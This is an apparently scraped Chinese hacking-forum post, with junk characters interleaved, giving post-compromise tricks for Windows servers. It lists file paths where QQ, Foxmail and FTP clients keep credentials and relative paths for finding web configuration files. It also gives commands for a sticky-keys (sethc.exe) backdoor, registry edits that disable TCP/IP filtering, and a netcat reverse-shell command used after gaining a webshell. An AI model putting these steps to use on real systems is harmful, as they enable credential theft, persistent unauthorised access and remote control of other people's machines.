c:\Program Files\Tencent\qq\bin\qq.exe
- y. I9 L! M& K3 `c:\Program Files\Tencent\qq2009\qq.exe
% q6 A" J$ D, D0 z7 u$ m- kc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
2 V- t, X, t5 j& I- VC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
) o, Z3 H2 W2 B9 v- hc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
% W3 O. V, t' n6 a: s: d& AC:\Program Files\Foxmal\accounts.cfg
9 `! Z# H2 M8 J& B1 u6 eC:\Program Files\tencent\Foxmal\Foxmail.exe
  l; d) n. P6 {% O' p% ~C:\Program Files\tencent\Foxmal\accounts.cfg
6 ]' j+ S& G# ~/ j3 `$ w1 RC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
4 G% E& E) N  uc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
4 P; V2 e1 G- i! Y; @c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
; n5 S4 ~- _# ~& r0 ~8 Q( ~C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
& i- x7 l7 g, p7 Yc:\Program Files\腾讯游戏\QQGAME\readme.txt
: m9 T; v% z! X% ?1 }c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
3 S! |/ k  {8 v$ M9 D0 KC:\Program Files\StormII\Storm.exe
9 F" t7 V- c$ m/ i9 z/ t
7 e. V# ?; u! {3.网站相对路径:
3 z$ P+ R" z- x* x, ^
. Y/ \& ^: _3 d6 U2 r% [8 U/config.php
../../config.php
../config.php
) i; M; L; @. a5 a6 {../../../config.php
/config.inc.php
. _7 L% F- l( n) a8 ~5 O./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
' C/ R9 g8 d3 z: |" M" D6 Y# j/conn.php
./conn.php
; [9 ]; q3 C% A4 D- \../../conn.php
2 N6 }& S/ f1 g$ ^1 I5 H* q! `../conn.php
../../../conn.php
6 L: i# g% u' v3 j$ q4 J. {+ D' k/conn.asp
./conn.asp
) M" d( P3 W$ _. h../../conn.asp
. @$ p% F* k$ G* l5 ]../conn.asp
../../../conn.asp
/config.inc.php
2 b: z9 \  m0 n: m./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
2 Q: k5 J0 z7 @. W& w6 @../../config/config.php
( m0 G( `  F5 ]. O../config/config.php
../../../config/config.php
/config/config.inc.php
! G) B0 m# \6 }5 ~: A& C) s# q7 B./config/config.inc.php
../../config/config.inc.php
; P) H  I& H0 w. w4 Z  H../config/config.inc.php
+ F9 G* A, R* L3 K../../../config/config.inc.php
/config/conn.php
' R  }* i0 ]( E7 z, \) ?./config/conn.php
# B8 Z+ G0 x* Z../../config/conn.php
- K4 L2 R2 t" q6 p../config/conn.php
../../../config/conn.php
. F" z* H2 j7 Q) O% ]; o/config/conn.asp
./config/conn.asp
; h6 N" o. t9 i2 U& G3 }7 o../../config/conn.asp
../config/conn.asp
" A, ^: ~$ U) W5 _3 T# I../../../config/conn.asp
( {. c: \0 ~7 a3 {4 k7 t! r" X/config/config.inc.php
: E) T( L% W5 z, A" H./config/config.inc.php
  ^- d* L' L1 P' j; i$ i7 o../../config/config.inc.php
) Y/ }7 a3 M9 ~( ?- }# p! w../config/config.inc.php
../../../config/config.inc.php
9 T( S' Z/ ^$ t* A" ]; F& p/data/config.php
7 H% i2 F9 ~5 [9 p5 E; y../../data/config.php
8 z" `8 |/ K! ?../data/config.php
../../../data/config.php
+ X5 g" y9 y& F$ |, b# N, d/ R5 S/data/config.inc.php
- V6 X0 M' M3 q./data/config.inc.php
../../data/config.inc.php
& t8 b( q9 W. l- Z( T9 Q& c; g../data/config.inc.php
../../../data/config.inc.php
) c9 J9 _# ]; B/data/conn.php
& Q- ?% N$ J5 V2 V$ a$ I' [6 l4 p./data/conn.php
7 ~, I1 Q" \  N../../data/conn.php
. A+ K9 N) B$ B) Y" M/ P../data/conn.php
/ s' R" G' y" v' H../../../data/conn.php
/data/conn.asp
./data/conn.asp
4 T; Q0 ?9 w/ L0 u5 o../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
3 E  Y6 F6 ]: f& r9 b( J% A./data/config.inc.php
../../data/config.inc.php
5 C: g: V& ]# L& g( f../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
/ J' [7 {* _# ^../../../include/config.php
/include/config.inc.php
, c  e$ @' g% R./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
% H7 w# ~9 ^* S4 m: L3 N; n3 z/include/conn.php
4 I& u3 B  ~+ S7 Y./include/conn.php
+ Q( o- s3 [3 g../../include/conn.php
" {3 Z8 p7 N, ~- {, Y- W3 n/ x7 T../include/conn.php
../../../include/conn.php
" k& \# y7 y. {2 T6 p, h) u: ~/include/conn.asp
+ }' R) O3 Z- I) R9 J* z4 V3 M./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
5 u+ ^' E4 i, t+ w  B../../include/config.inc.php
# D$ I2 ]+ N5 X4 E3 \+ E  p../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
) B" P3 ~. _" U& J& A../../inc/config.php
" k- e! P1 z; U- R  z../inc/config.php
( S# t6 w8 P5 h) r../../../inc/config.php
/inc/config.inc.php
% Y1 B) h) H1 F; A1 g6 A./inc/config.inc.php
../../inc/config.inc.php
+ Y, \, y% N& f) G6 y* W../inc/config.inc.php
../../../inc/config.inc.php
, m# D8 B* D; L/ U2 W/inc/conn.php
$ A, j# W  f0 f! D7 g- k./inc/conn.php
../../inc/conn.php
../inc/conn.php
! `! I9 v, J9 s6 n' n../../../inc/conn.php
$ u) h- h" H; q3 o$ ]/inc/conn.asp
& t& D( J" m+ H  R( a& Z./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
) d. {2 U4 L* m- p5 K- \/ |( z/inc/config.inc.php
" o  R  B: y* s./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
2 g. i2 R/ w1 T. ~, d. D6 u4 Z/index.php
% R+ p* K0 m5 G* r: `- ~. `' j4 W./index.php
../../index.php
../index.php
) i. b) ~( l+ u% O" Q) w../../../index.php
0 G6 x3 |+ N" K  u) u# e/index.asp
* m  J7 S5 R+ b./index.asp
9 e- |, J, b  m# o# g../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

& p+ O4 T# B2 g2 ]　　del c:\windows\system32\sethc.exe

' {  Z7 w) u6 N2 \( _% W) R8 j% Z8 s　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
8 B5 I: w9 E5 @7 B$ S9 {, L0 Y
4 g, A8 Z; k2 C4 W0 ?( S　　attrib c:\windows\system32\sethc.exe +h +r +s
0 y$ z9 H1 A4 l
% v" y+ s2 k0 f9 @( @! t. Z　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
' l; d' g# r  q7 TTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
# U3 n# i' A5 V1 C  F+ H. [" }HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) P, x$ O  Z, B
分别用
0 O9 r  y+ p3 G; J$ h; ?& Xregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 b4 r& K0 e5 S% Qregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
( p% b% s3 g( ]7 y, m2 W命令来导出注册表项

/ O" t' b- z8 s, |* d然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
3 w- k& ^. Z" l: B; kregedit -s D:\b.reg
' }' ?$ T( J6 B) J; P4 G" Vregedit -s D:\c.reg
导入注册表即可

/ Z% A  L" S. e8 G! kwebshell提权小技巧
cmd路径:
8 @+ p7 D) |9 G& O* cc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
( G5 t' {0 U5 J: E通常都不会成功。
! Q8 E+ l7 P8 N5 ~6 f
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
7 i* Y% b9 J- K1 h命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
0 x; l7 z' y% b% {! Z6 E3 }却能成功。。
这个不是重点
5 I0 K% h/ y9 ?: _" Q9 _我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2